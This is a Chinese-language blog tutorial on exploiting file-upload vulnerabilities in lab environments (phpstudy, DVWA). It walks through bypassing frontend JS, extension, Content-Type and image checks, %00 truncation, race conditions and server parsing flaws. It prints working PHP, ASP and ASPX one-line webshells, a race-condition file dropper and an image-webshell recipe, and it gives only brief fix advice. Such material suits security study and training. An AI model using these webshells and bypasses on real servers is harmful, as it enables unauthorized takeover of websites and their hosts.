Loading

文件上传(详解)

0X00-引言


欲速则不达,快就是慢,慢就是快

唉,亲爱的小妹妹,请你不要不要哭泣,哦,不要不要悲伤,哦,不要不要哭泣

靶场介绍:

phpstudy + ms08067web安全攻防的靶场

0X01-文件上传简介


文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。

恶意文件传递给解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同,可以上传的恶意脚本可以是

PHP、ASP、JSP、ASPX文件。

0X02-为什么存在文件上传及危害


服务端代码未对客户端上传的文件进行严格的验证和过滤,就容易造成上传任意文件的情况。

危害:

非法用户上传恶意脚本控制整个网站甚至控制服务器,这个恶意的脚本文件又称为webshell,webshell具有非常强大的功能,可以查看服务器目录,服务器中的文件,执行系统命令,甚至为所欲为,操纵一切。shell在手,天下我有。

0X03-文件上传绕过的姿势


01-前端JS检测绕过

js检测绕过是在客户端浏览器使用JS对数据包进行检测,并没有发送到服务器

打开靶场测试一番

打开burp-上传PHP文件-此时以弹出禁止上传PHP文件的命令,且burp也没有抓到包

image-20220110023622010

在检查前端页面中-我们发现如果上传的不是jpg文件,那么浏览器就会弹窗报错

image-20220110024039847

绕过思路-更改文件格式为jpg-burp抓包再改php-绕过前端检测

image-20220110024252251

image-20220110024416707

image-20220110024507500

蚁剑连接成功

image-20220110024701923

02-js检测绕过分析

前面分析过前端代码看到在js中对文件后缀名进行限制

看一下后端的代码

image-20220110025233081

可以看到后端php用file_exists判断文件是否存在,如果不存在就使用move_uploaded_file函数将文件保存在upload的文件夹下面。由此可知,后端代码对上传的文件没有限制,只要突破前端的限制就可上传webshell。

03-文件后缀绕过

在Apache解析顺序中,是从右往左开始解析文件后缀的,如果文件名不可识别则往左开始判断,知道可以解析,这也是Apache解析漏洞之一。

测试文件后缀绕过,我们需要在phpstudy的Apache中的httpd.conf配置文件中开启

AddType application/x-httpd-php .php .phtml使其可以解析PHP和phtml文件

更新配置文件之后需要重启phpstudy

image-20220110032411982

上传文件

image-20220110032546610

蚁剑连接

image-20220110032622220

04-文件后缀绕过分析

后端通过pathinfo获取后缀名,且只添加了一个限制就是后缀名不允许为php,我们知道apache解析从右往左,构造奇特后缀绕过

image-20220110033319096

05-文件类型绕过攻击
01-Content-Type值绕过

后端对数据包中Content-Type的字段值进行校验,通过burp修改Content-Type的值进行绕过

如果上传jpg文件时Content-Type的值为image/jpeg

上传php文件Content-Type的值为application/octet-stream

上传抓包-burp修改字段-蚁剑连接

image-20220110034717424

image-20220110034819387

02-绕过getimagesize()函数(制作图片马)

制作图片马

image-20220110040933553

image-20220110045620241

上传

image-20220110045745235

06-文件类型绕过分析

后端对Content-Type的值进行校验,分析代码可知后端白名单中只有图片的类型

image-20220110035852598

图片马绕过代码分析

PHP函数getimagesize()可以获取图片的宽和高,如果不是图片,getimagesize()则获取不到信息,不允许上传

image-20220110043332320

07-文件截断绕过(%00截断)

截断类型:PHP%00截断

截断原理:00代表结束符,会把00后面的所有字符删除

截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态

打开靶场-上传文件-生成的文件为自命名加时间戳

image-20220110050659261

image-20220110050721664

burp抓包添加00截断

image-20220110050927589

此时服务器会生成wc.php文件-自命名后面的内容被截断

image-20220110051007200

蚁剑连接

image-20220110051201269

08-文件截断绕过分析

上传文件到服务器,%00会截断后面的内容。在代码中保存路径中有$_REQUEST['jieduan'],在此处可以利用00截断尝试绕过服务端限制

image-20220110051425783

08-条件竞争绕过

某些网站先允许上传文件,之后再检查上传文件的内容,若存在后门,则删除。

先上传,再删除意味着存在一个时间差。如果在上传的文件内写入可以在同目录下生成的后门文件的代码。在这个时间差内去让它生成一个新的后门文件。

<?php
$file = fopen("shell.php","w");
fputs($file,"<?php phpinfo();?>");
fclose($file);
?>

上传之后访问该文件

image-20220110054317970

访问-该文件-同目录下会生成另一个文件

image-20220110054832951

访问生成的新文件-成功

image-20220110054904310

08-条件竞争绕过分析

靶场中的代码写明让程序睡眠10S,然后执行。

意思是在程序检测到恶意文件之前访问上传的文件去生成一个新的恶意文件,这样就能绕过代码的限制。这里有个思考,是不是需要免杀技术?

image-20220110055537145

09-其他文件上传绕过方式
  • 文件头绕过

    常见的文件头标志如下:
    JPEG (jpg),文件头: FFD8FF
    PNG (png),文件头: 89504E47
    GIF (gif),文件头: 47494638
    HTML (html),文件头: 68746D6C3E
    ZIP Archive (zip),文件头: 504B0304
    RAR Archive (rar),文件头: 52617221
    Adobe Acrobat (pdf),文件头: 255044462D312E
    MS Word/Excel (xls.or.doc),文件头: D0CF11E0
    
  • 大小写绕过

    str_replace大小写敏感

  • 双写绕过

0X04-文件上传修复建议


  • 通过白名单的方式判断文件后缀是否合法
  • 对上传文件进行重命名

0X05-解析漏洞


01-IIS解析漏洞
  • 当建立*.asa,*.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析
  • 当文件为*.asp;1.jpg时,IIS同样会以ASP脚本来执行
02-Apache解析漏洞
  • Apache解析文件时,当碰到不认识的扩展名,将会从后往前解析,知道碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。Apache安装目录下"/conf/mime.type"有其可以识别的扩展名列表
03-PHP CGI解析漏洞
  • 在PHP的配置文件中有一个关键的选项: cgifi: x_ pathinfo。 这个选项在某些版本中默认是开启的,在开启时访问URL,比如: ht://w.xxer.com/x.txphp, x.php 是不存在的文件,所以PHP将会向前递归解析,于是造成了解析漏洞,可以说此漏洞与Nginx关系并不是很大,但由于Nginx与PHP配合很容易造成这种解析漏洞,所以PHPCGI漏洞常常被认为是Nginx解析漏洞。

0X06-常见木马制作


一、小马

一句话木马也称为小马,即整个shell代码量只有一行,一般为系统执行函数

PHP:  <?php @eval($_POST['SHELL']);?>
<?php eval($_REQUEST['shell']);?>
<?php system($_REQUEST['shell']);?>
<script language="php">@eval_r($_POST[shell])</script>

ASP:  <%eval request("shell")%>

ASP.NET: <%@ Page Language="Jscipt"%><%eval(Request.Item["shell"],"unsafe");%>
二、大马

代码量和功能比小马多,一般会进入二次编码加密,防止被防火墙/入侵系统检测到

三、图片马

一般直接上传木马文件都会被过滤拦截,这时候就需要用到图片马

copy 图片.jpg/b + 木马.php/a 木马.jpg 
/b 表示以二进制方式打开 
/a 表示以ASCII方式打

注意:要放在同一目录下,在目录里面敲CMD
四、原理

以PHP的一句话木马为例,利用PHP的eval函数,将传入的语句作为PHP语句执行。该木马以POST方式传参,eval语句将参数以PHP语句执行,shell为变量,接收语句,用工具连接的时候称之为密码。

连接工具:菜刀,蚁剑,冰蝎等等。

0X07-DVWA文件上传


一、low

image-20210929213343139

没有任何过滤,直接上传文件

可以上传文件-文件可以被执行-知道文件上传路径-为所欲为

上传木马文件

image-20210929213553378

成功-蚁剑连接

image-20210929213801819

成功连接

二、mediun

image-20210929214719248

上传PHP文件类型的木马会报错

后缀改成png/jpg格式

上传抓包

image-20210929215436583

放包

image-20210929215547288

网站目录下会出现shell.php,上传的是shell.png,在抓到的包里面修改

蚁剑连接,为所欲为

00截断绕过:

image-20210930200315112

木马文件修改为如图模式

上传-在.php处点击空格-在选中空格

image-20210930200935568

20改为00-点击apply change应用

image-20210930201032045

发送

image-20210930201142430

此时网站根目录下会出现shell.php文件

蚁剑连接-为所欲为

与文件包含一起应用:

上传shell.php.png文件

image-20210930201454231

image-20210930201525143

网站根目录会出现shell.php.png图片

蚁剑连接

image-20210930201803767

添加-浏览网站添加cookie(文件包含那一篇有)-连接成功-为所欲为

image-20210930202051594

posted @ 2022-01-10 06:28  美式加糖  阅读(2449)  评论(2编辑  收藏  举报